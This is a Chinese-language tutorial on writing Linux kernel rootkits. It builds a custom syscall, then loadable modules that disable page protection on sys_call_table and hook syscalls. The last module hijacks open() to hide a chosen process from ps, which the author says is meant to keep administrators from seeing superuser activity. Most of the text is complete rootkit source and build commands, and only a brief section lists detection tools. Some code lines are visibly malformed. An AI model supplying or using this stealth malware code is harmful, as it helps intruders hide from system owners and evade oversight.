Rootkit技術(shù)入門:從syscall到hook!
一、什么是rootkit
簡單地說,rootkit是一種能夠隱身的惡意程序,也就是說,當(dāng)它進(jìn)行惡意活動的時(shí)候,操作系統(tǒng)根本感覺不到它的存在。想象一下,一個(gè)程序能夠潛入到當(dāng)前操作系統(tǒng)中,并且能夠主動在進(jìn)程列表中隱藏病毒,或者替換日志文件輸出,或者兩者兼而有之——那它就能有效地清除自身存在的證據(jù)了。此外,它還可以從受保護(hù)的內(nèi)存區(qū)域中操縱系統(tǒng)調(diào)用,或?qū)⒔涌谏系臄?shù)據(jù)包導(dǎo)出到另一個(gè)接口。本教程將重點(diǎn)介紹如何通過hooking系統(tǒng)調(diào)用來進(jìn)行這些活動。在本教程的第一部分,我們將打造自己的系統(tǒng)調(diào)用,然后打造一個(gè)hook到我們創(chuàng)建的系統(tǒng)調(diào)用上面的rootkit。在最后一部分,我們將創(chuàng)建一個(gè)rootkit來隱藏我們選擇的進(jìn)程。
二、用戶空間與內(nèi)核空間
我們之所以上來就打造一個(gè)系統(tǒng)調(diào)用,其目的就是為了更好地理解在內(nèi)核空間與用戶空間中到底發(fā)生了些什么。在用戶空間中運(yùn)行的進(jìn)程,對內(nèi)存的訪問將受到一定限制,而在內(nèi)核空間運(yùn)行的進(jìn)程則可以訪問所有內(nèi)存空間。但是,用戶空間的代碼可以通過內(nèi)核暴露的接口來訪問內(nèi)核空間,這里的所說的接口就是系統(tǒng)調(diào)用。如果你曾經(jīng)用C語言編程,并且擺弄過Linux的話(是的,我們將用C編程,但不用擔(dān)心,因?yàn)檫@里介紹的例子會非常簡單),那么你很可能已經(jīng)用過系統(tǒng)調(diào)用了,只不過你沒有意識到罷了。read()、write()、open()就是幾個(gè)比較常見的系統(tǒng)調(diào)用,只不過我們通常都是通過諸如fopen()或fprintf()之類的庫函數(shù)來調(diào)用它們而已。
當(dāng)你以root身份運(yùn)行進(jìn)程的時(shí)候,不見得它們就會運(yùn)行在內(nèi)核空間。因?yàn)閞oot用戶進(jìn)程仍然是一個(gè)用戶空間的進(jìn)程,只不過root用戶的進(jìn)程的UID = 0,內(nèi)核驗(yàn)證過其身份后會賦予其超級用戶權(quán)限罷了。但是,即使擁有超級用戶權(quán)限,仍然需要通過系統(tǒng)調(diào)用接口才能請求內(nèi)核的各種資源。我希望大家能夠明確這一點(diǎn),這對進(jìn)一步閱讀下面的內(nèi)容非常重要。
好了,閑話少說,下面切入正題。
三、所需軟硬件
linux內(nèi)核(我使用debian的最小化安裝,內(nèi)核版本為3.16.36)
虛擬機(jī)軟件(VMware、Virtualbox、ESXi等)
我建議給VM配置2個(gè)CPU內(nèi)核,至少4GB內(nèi)存,但1核和2GB也能對付。
需要強(qiáng)調(diào)的是︰
1. 我不會對示例代碼進(jìn)行詳盡的介紹,因?yàn)榇a都自帶了注釋。這樣做好處是,可以督促讀者自行深入學(xué)習(xí)。
2. 我的VM使用的是Debian最小化安裝,因?yàn)槲野l(fā)現(xiàn)內(nèi)核的版本越舊,打造自己的系統(tǒng)調(diào)用時(shí)就越容易,這就是選擇3.16.36的原因。
3. 文中的所有命令都是以root帳戶在VM中運(yùn)行的。
四、系統(tǒng)調(diào)用:pname
啟動VM,讓我們先從一個(gè)內(nèi)核源碼開始玩起。實(shí)際上,介紹如何打造自己的系統(tǒng)調(diào)用的教程已經(jīng)有許多了。如果你想打造一個(gè)簡單的“hello world”系統(tǒng)調(diào)用的話,請參考這篇文章:https://chirath02.wordpress.com/2016/08/24/hello-world-system-call/。
通過下面的命令,獲取內(nèi)核源碼的副本,并將其解壓縮到/usr/src目錄下面:
- wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.16.36.tar.xz
- tar -xvf linux-3.16.36.tar.xz -C /usr/src/
- cd /usr/src/linux-3.16.36
pname (進(jìn)程名稱):
現(xiàn)在,讓我們從一個(gè)簡單的系統(tǒng)調(diào)用開始入手:當(dāng)向它傳遞一個(gè)進(jìn)程名稱時(shí),它會將該進(jìn)程對應(yīng)的PID返回到啟動該系統(tǒng)調(diào)用的終端上面。首先,創(chuàng)建目錄pname,然后通過cd命令切換到該目錄下面:
- mkdir pname
- cd pname
- nano pname.c
- #include <linux/syscalls.h>
- #include <linux/kernel.h>
- #include <linux/sched.>
- #include <linux/init.h>
- #include <linux/tty.h>
- #include <linux/string.h>
- #include "pname.h"
- asmlinkage long sys_process_name(char* process_name){
- /*tasklist struct to use*/
- struct task_struct *task;
- /*tty struct*/
- struct tty_struct *my_tty;
- /*get current tty*/
- my_tty = get_current_tty();
- /*placeholder to print full string to tty*/
- char name[32];
- /*<sched.h> library method that iterates through list of processes from task_struct defined above*/
- for_each_process(task){
- /*compares the current process name (defined in task->comm) to the passed in name*/
- if(strcmp(task->comm,process_name) == 0){
- /*convert to string and put into name[]*/
- sprintf(name, "PID = %ld\n", (long)task_pid_nr(task));
- /*show result to user that called the syscall*/
- (my_tty->driver->ops->write) (my_tty, name, strlen(name)+1);
- }
- }
- return 0;
- }
然后,創(chuàng)建頭文件:
- nano pname.h
- asmlinkage long sys_process_name(char* process_name);
接下來,創(chuàng)建一個(gè)Makefile:
- nano Makefile
在里面,添加如下內(nèi)容:
- obj-y := pname.o
保存并退出。
將pname目錄添加到內(nèi)核的Makefile中:
回到/usr/src/linux-3.16.36目錄,并編輯Makefile
- cd ..
- nano Makefile
您要查找core-y += kernel/mm/fs/ipc/security/crypto/block/所在的行。
- cat -n Makefile | grep -i core-y
然后
- nano +(line number from the cat command here) Makefile
將pname目錄添加到此行的末尾(不要忘記“/”):
- core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/ pname/
當(dāng)我們編譯這個(gè)文件的時(shí)候,編譯器就會知道從哪里尋找創(chuàng)建新的系統(tǒng)調(diào)用所需的源文件了。
將pname和sys_process_name添加到系統(tǒng)調(diào)用表中:
請確保仍然位于/usr/src/linux-3.16.36目錄中。接下來,我們需要將新建的系統(tǒng)調(diào)用添加到系統(tǒng)調(diào)用表中。如果您使用的是64位系統(tǒng),那么它將會添加到syscall_64.tbl文件的前#300之后(將64位和32位系統(tǒng)調(diào)用隔離開來)。此前,我的64位系統(tǒng)調(diào)用最后一個(gè)是#319,所以我的新系統(tǒng)調(diào)用將是#320。如果它是一個(gè)32位系統(tǒng),那么你可以在syscall_32.tbl文件結(jié)尾處進(jìn)行相應(yīng)的編輯。
- nano arch/x86/syscalls/syscall_64.tbl
添加新的系統(tǒng)調(diào)用:
- 320 common pname sys_process_name
將sys_process_name(char * process_name)添加到syscall頭文件中:
最后,頭文件必須提供我們函數(shù)的原型,因?yàn)閍smlinkage用于定義函數(shù)的哪些參數(shù)可以放在堆棧上。它必須添加到include / linux / syscalls.h文件的最底部:
- asmlinkage long sys_process_name(char* process_name);
編譯新內(nèi)核(這個(gè)過程需要一段時(shí)間,請稍安勿躁):
這將需要很長時(shí)間,大概需要1-2小時(shí)或更多,具體取決于這個(gè)VM所擁有的資源的多寡。然后,從源代碼文件夾/usr/src/linux-3.16.36中輸入下列命令:
- make menuconfig
通過方向鍵選中保存選項(xiàng),按回車鍵,然后退出。
如果您正在運(yùn)行的虛擬機(jī)具有2個(gè)內(nèi)核,則可以使用下列命令:
- make -j 2
否則的話,只需輸入下列命令即可:
- make
現(xiàn)在,耐心等待它運(yùn)行結(jié)束。
安裝新編譯的內(nèi)核:
完成上述操作后(希望沒有任何錯(cuò)誤),還必須進(jìn)行安裝操作,然后重新啟動。
- make install -j 2 # or without -j option if not enough cores
- make modules_install install
- reboot
測試新的pname系統(tǒng)調(diào)用:
還記得使用哪個(gè)數(shù)字把我們的系統(tǒng)調(diào)用中添加到系統(tǒng)調(diào)用表中的嗎?我使用的數(shù)字為320,這意味著系統(tǒng)調(diào)用號為320,同時(shí),我們必須以字符串的形式來傳遞進(jìn)程名稱。下面,讓我們測試一下這個(gè)新的系統(tǒng)調(diào)用。
- nano testPname.c
- #include <stdio.h>
- #include <linux/kernel.h>
- #include <sys/syscall.h>
- #include <unistd.h>
- #include <string.h>
- int main(){
- char name[32];
- puts("Enter process to find");
- scanf("%s",name);
- strtok(name, "\n");
- long int status = syscall(320, name); //syscall number 320 and passing in the string.
- printf("System call returned %ld\n", status);
- return 0;
- }
- gcc testPname.c -o testPname
- ./testPname
由于我使用ssh配置我的VM,我將進(jìn)入進(jìn)程sshd。我打開了另一個(gè)終端來查看所有通過sshd運(yùn)行的進(jìn)程,然后運(yùn)行該可執(zhí)行文件:
該系統(tǒng)調(diào)用通過遍歷進(jìn)程列表發(fā)現(xiàn)了3個(gè)sshd進(jìn)程(grep sshd不是正在運(yùn)行的sshd進(jìn)程),并通過TTY將其輸出到調(diào)用它的終端上,最后成功退出(狀態(tài)值為0)。
現(xiàn)在,您已經(jīng)有權(quán)在內(nèi)核(受保護(hù)的內(nèi)存區(qū))空間中查找進(jìn)程了。這個(gè)進(jìn)程列表中,你不會發(fā)現(xiàn)這個(gè)系統(tǒng)調(diào)用——盡管它正在運(yùn)行,但你會發(fā)現(xiàn)testPname可執(zhí)行文件正在運(yùn)行:
如何才能找到我們的新系統(tǒng)調(diào)用呢? 很簡單:使用strace工具。
- sudo apt-get install strace
針對可執(zhí)行文件運(yùn)行strace時(shí),它將暫停以讀取用戶輸入(可以通過系統(tǒng)調(diào)用read()來讀入,但是需要注意的是,在我們的測試程序中使用的是來自stdio.h庫的scanf()函數(shù))。這時(shí),輸入你喜歡的任何進(jìn)程即可。
在下面,從read()系統(tǒng)調(diào)用到程序退出的代碼都進(jìn)行了突出顯示:
- strace ./testPname
只要把bash的進(jìn)程名稱傳遞給strace,它就會立刻找出該進(jìn)程所使用的系統(tǒng)調(diào)用——我們的syscall_320。你也可以使用該工具來檢查我們運(yùn)行的程序用到的所有其他系統(tǒng)調(diào)用,例如mmap(內(nèi)存映射)和mprotect(內(nèi)存保護(hù))等。我建議大家逐一研究這些系統(tǒng)調(diào)用,以充分了解它們都可以做哪些事情,并仔細(xì)考慮攻擊者能夠用它們來干什么。
此后,我們將hooking系統(tǒng)調(diào)用open(),但是就目前來說,不妨先用我們的第一個(gè)rootkit來“鉤取”系統(tǒng)調(diào)用syscall_320
五、利用Rootkit“鉤取”Pname
首先要弄清楚的一件事情是,現(xiàn)在我們要以hook的形式來打造一個(gè)內(nèi)核模塊,而不是借助系統(tǒng)調(diào)用。這些模塊可以隨時(shí)通過insmod和rmmod命令(前提是您已經(jīng)獲得了相應(yīng)的權(quán)限)加載到內(nèi)存和從內(nèi)核中刪除。為了查看當(dāng)前正在運(yùn)行的所有模塊,您可以使用lsmod命令。就像我們的新程序?qū)⒊蔀橐粋€(gè)模塊一樣,從技術(shù)上講,它可以被定義為一個(gè)hook,因?yàn)槲覀儗?ldquo;hooking”到之前創(chuàng)建的pname系統(tǒng)調(diào)用上。
在研究過程中,我在https://www.quora.com/How-can-I-hook-system-calls-in-Linux發(fā)現(xiàn)了一篇非常棒的文章,它深入淺出地介紹了打造hook的方法。請選擇一個(gè)存儲hook的目錄并利用cd命令切換到這個(gè)目錄下面,這里我選擇的是root目錄。
查找sys_call_table地址:
我們首先要做的事情就是找到系統(tǒng)調(diào)用表地址,因?yàn)橐坏┱业搅诉@個(gè)地址,我們就能夠?qū)ζ溥M(jìn)行相應(yīng)的處理,進(jìn)而hook系統(tǒng)調(diào)用了。為了找到這個(gè)地址,我們只需在終端中鍵入:
- cat /boot/System.map-3.16.36 | grep sys_call_table
將這個(gè)地址復(fù)制到我們的代碼中。
注意:有許多方法可以用來動態(tài)搜索sys_call_table,我強(qiáng)烈建議您使用這些方法而不是硬編碼。然而,為了便于學(xué)習(xí),這里就不那么講究了。我打算將來編寫一個(gè)更高級的rootkit,讓它也支持動態(tài)搜索能力。如果你想提前了解這方面的知識并親自嘗試一下的話,我建議閱讀下面的文章: https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/
Hook! Hook! Hook!
以下是我的captainhook.c代碼:
- #include <asm/unistd.h>
- #include <asm/cacheflush.h>
- #include <linux/init.h>
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <linux/syscalls.h>
- #include <asm/pgtable_types.h>
- #include <linux/highmem.h>
- #include <linux/fs.h>
- #include <linux/sched.h>
- #include <linux/moduleparam.h>
- #include <linux/unistd.h>
- #include <asm/cacheflush.h>
- MODULE_LICENSE("GPL");
- MODULE_AUTHOR("D0hnuts");
- /*MY sys_call_table address*/
- //ffffffff81601680
- void **system_call_table_addr;
- /*my custom syscall that takes process name*/
- asmlinkage int (*custom_syscall) (char* name);
- /*hook*/
- asmlinkage int captain_hook(char* play_here) {
- /*do whatever here (print "HAHAHA", reverse their string, etc)
- But for now we will just print to the dmesg log*/
- printk(KERN_INFO "Pname Syscall:HOOK! HOOK! HOOK! HOOK!...ROOOFFIIOO!");
- return custom_syscall(play_here);
- }
- /*Make page writeable*/
- int make_rw(unsigned long address){
- unsigned int level;
- pte_t *pte = lookup_address(address, &level);
- if(pte->pte &~_PAGE_RW){
- pte->pte |=_PAGE_RW;
- }
- return 0;
- }
- /* Make the page write protected */
- int make_ro(unsigned long address){
- unsigned int level;
- pte_t *pte = lookup_address(address, &level);
- pte->ptepte = pte->pte &~_PAGE_RW;
- return 0;
- }
- static int __init entry_point(void){
- printk(KERN_INFO "Captain Hook loaded successfully..\n");
- /*MY sys_call_table address*/
- system_call_table_addr = (void*)0xffffffff81601680;
- /* Replace custom syscall with the correct system call name (write,open,etc) to hook*/
- custom_syscall = system_call_table_addr[__NR_pname];
- /*Disable page protection*/
- make_rw((unsigned long)system_call_table_addr);
- /*Change syscall to our syscall function*/
- system_call_table_addr[__NR_pname] = captain_hook;
- return 0;
- }
- static int __exit exit_point(void){
- printk(KERN_INFO "Unloaded Captain Hook successfully\n");
- /*Restore original system call */
- system_call_table_addr[__NR_pname] = custom_syscall;
- /*Renable page protection*/
- make_ro((unsigned long)system_call_table_addr);
- return 0;
- }
- module_init(entry_point);
- module_exit(exit_point);
你可能已經(jīng)注意到__NR_pname,它代表數(shù)字,即pname的系統(tǒng)調(diào)用的編碼。別忘了我們已經(jīng)將該系統(tǒng)調(diào)用添加到syscall_64.tbl(tbl = table duhh)中。 我們賦予它一個(gè)數(shù)字、一個(gè)名稱和函數(shù)名。在這里,我們使用的是其名稱(pname)。它將攔截pname系統(tǒng)調(diào)用,并且每成功一次就打印一次dmesg。
創(chuàng)建Makefile:
我們必須創(chuàng)建另一個(gè)Makefile,具體方法就像我們在創(chuàng)建系統(tǒng)調(diào)用時(shí)所做的一樣,但由于這里是一個(gè)模塊,所以會有一點(diǎn)不同:
- nano Makefile
- obj-m += captainHook.o
- all:
- make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
- clean:
- make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
在加載到運(yùn)行中的內(nèi)核后測試該hook:
現(xiàn)在萬事俱備,只剩下編譯了。對其進(jìn)行編譯的時(shí)候,絕對不會像編譯內(nèi)核那樣費(fèi)時(shí),因?yàn)樗皇且粋€(gè)模塊而已。為此,只需鍵入下列命令:
- make
很好,你現(xiàn)在應(yīng)該多了一些其他文件,而我們想要的是.ko文件:
現(xiàn)在打開另一個(gè)終端,鍵入以下命令以清除dmesg,然后插入該模塊并運(yùn)行testPname,并跟蹤其輸出:
第一個(gè)終端:
- dmesg -c
- dmesg -wH
第二個(gè)終端:
- insmod captainHook.ko
- cd ..
- ./testPname
- rmmod captainHook
- captainhookworks
經(jīng)過一番努力,終于成功地創(chuàng)建了一個(gè)可以抓取系統(tǒng)調(diào)用(也就是rootkit)的鉤子!想象一下,如果你的__NR_ pname是__NR_open或__NR_read會怎樣? 您可以自己嘗試一下,或繼續(xù)閱讀下一部分。不過,就這一點(diǎn)來說,有很多其他教程可資利用,例如:https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/
六、對系統(tǒng)管理命令“ps”隱身
現(xiàn)在,讓我們通過編程技術(shù)來實(shí)現(xiàn)對ps命令隱藏進(jìn)程。首先,找到你想要隱藏的進(jìn)程的PID,并想清楚你想讓它偽裝成哪個(gè)進(jìn)程。就本例而言,我將用一個(gè)bash進(jìn)程給su(sudo)進(jìn)程打掩護(hù),以便系統(tǒng)管理員看不到有人正在使用超級用戶權(quán)限運(yùn)行。
注意:Linux中的一切皆文件。例如“/proc/cpuinfo”文件存放的是CPU信息,內(nèi)核版本位于“/proc/version”文件中。而“/proc/uptime”和“/proc/stat”文件則分別用來存放系統(tǒng)正常運(yùn)行時(shí)間和空閑時(shí)間。當(dāng)運(yùn)行ps命令時(shí),它實(shí)際上是打開進(jìn)程的文件,以使用open()系統(tǒng)調(diào)用查看相關(guān)信息。當(dāng)進(jìn)程首次啟動時(shí),會使用系統(tǒng)調(diào)用write()將其寫入具有相應(yīng)PID#的文件中。針對ps命令運(yùn)行strace就能查找它們,或者查看它使用了哪些系統(tǒng)調(diào)用。
這里,我們將使用captainHook.c作為樣板:
- nano phide.c
- #include <asm/unistd.h>
- #include <asm/cacheflush.h>
- #include <linux/init.h>
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <linux/syscalls.h>
- #include <asm/pgtable_types.h>
- #include <linux/highmem.h>
- #include <linux/fs.h>
- #include <linux/sched.h>
- #include <linux/moduleparam.h>
- #include <linux/unistd.h>
- #include <asm/cacheflush.h>
- MODULE_LICENSE("GPL");
- MODULE_LICENSE("D0hnuts");
- /*MY sys_call_table address*/
- //ffffffff81601680
- void **system_call_table_addr;
- asmlinkage int (*original_open)(const char *pathname, int flags);
- asmlinkage int open_hijack(const char *pathname, int flags) {
- /*This hooks all OPEN sys calls and check to see what the path of the file being opened is
- currently, the paths must be hard coded for the process you wish to hide, and the process you would like it to impersonate*/
- if(strstr(pathname, "/proc/2793/status") != NULL) {
- printk(KERN_ALERT "PS PROCESS HIJACKED %s\n", pathname);
- //The new process location will be written into the syscall table for the open command, causing it to open a different file than the one originaly requested
- memcpy(pathname, "/proc/2794/status", strlen(pathname)+1);
- }
- return (*original_open)(pathname, flags);
- }
- //Make syscall table writeable
- int make_rw(unsigned long address){
- unsigned int level;
- pte_t *pte = lookup_address(address, &level);
- if(pte->pte &~_PAGE_RW){
- pte->pte |=_PAGE_RW;
- }
- return 0;
- }
- // Make the syscall table write protected
- int make_ro(unsigned long address){
- unsigned int level;
- pte_t *pte = lookup_address(address, &level);
- pte->ptepte = pte->pte &~_PAGE_RW;
- return 0;
- }
- static int __init start(void){
- system_call_table_addr = (void*)0xffffffff81601680;
- //return the system call to its original state
- original_open = system_call_table_addr[__NR_open];
- //Disable page protection
- make_rw((unsigned long)system_call_table_addr);
- system_call_table_addr[__NR_open] = open_hijack;
- printk(KERN_INFO "Open psHook loaded successfully..\n");
- return 0;
- }
- static int __exit end(void){
- //restore original system call
- system_call_table_addr[__NR_open] = original_open;
- //Enable syscall table protection
- make_ro((unsigned long)system_call_table_addr);
- printk(KERN_INFO "Unloaded Open psHook successfully\n");
- return 0;
- }
- module_init(start);
- module_exit(end);
復(fù)制前面使用的Makefile,同時(shí)將頂部的"captainHook.o"替換為“phide.o”。
然后,輸入下列命令
- make
以及
- insmod phide.ko (一定別忘了使用dmesg命令) :
如您所見,這里成功實(shí)現(xiàn)了隱身!除此之外,還可以使用這里介紹的方法來隱藏多個(gè)進(jìn)程。
七、如何防御?
你可能注意到了,我這里只是使用另一個(gè)正在運(yùn)行的進(jìn)程來隱藏我們的進(jìn)程。所以在PS表中會有重復(fù)的PID。這很容易被發(fā)現(xiàn),但有一些方法可以完全隱藏它,我計(jì)劃在未來的rootkit文章中加以介紹。
記得早些時(shí)候我提到的lsmod命令嗎? 它就可以列出在內(nèi)核上運(yùn)行的模塊,效果具體如下圖所示。
要想查看所有模塊,可以使用:
- cat/proc/modules
因?yàn)閞ootkits通常在內(nèi)存中待命,所以最好使用一個(gè)可以主動尋找rootkit的程序,例如:
- kbeast – https://volatility-labs.blogspot.ca/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html
- chkroot – http://www.chkrootkit.org/
- kernel check – http://la-samhna.de/library/kern_check.c
八、結(jié)束語
我們希望本文能夠幫您了解系統(tǒng)調(diào)用、內(nèi)核空間和用戶空間方面的相關(guān)知識。最重要的是,通過閱讀本文,可以讓您意識到鉤住系統(tǒng)調(diào)用其實(shí)非常簡單的事情,同時(shí),也讓您意識到只需少的可憐的編程技巧就足以讓你為所欲為。當(dāng)然,還有一些非常先進(jìn)的rootkits類型,我們將后續(xù)的文章中陸續(xù)加以介紹。在下一篇文章中,我們介紹如何在無需查找PID的情況下隱藏進(jìn)程。